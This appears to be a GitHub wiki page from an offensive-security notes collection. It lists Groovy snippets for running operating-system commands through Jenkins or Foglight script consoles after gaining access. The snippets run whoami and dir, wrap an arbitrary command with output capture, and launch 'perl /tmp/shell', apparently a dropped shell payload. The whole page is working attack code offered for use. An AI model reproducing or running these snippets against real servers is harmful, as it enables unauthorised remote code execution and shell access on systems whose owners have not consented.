Groovy Script Command Execution - CraigDonkin/Infrastructure GitHub Wiki

Useful when gaining access to Jenkins/Foglight

print “cmd /c whoami”.execute().text

def sout = new StringBuffer(), serr = new StringBuffer() def proc = '[INSERT COMMAND]'.execute() proc.consumeProcessOutput(sout, serr) proc.waitForOrKill(1000) println "out> $sout err> $serr"

def cmd = "cmd.exe /c dir".execute(); println("${cmd.text}");

def command = "perl /tmp/shell" def proc = command.execute() proc.waitFor()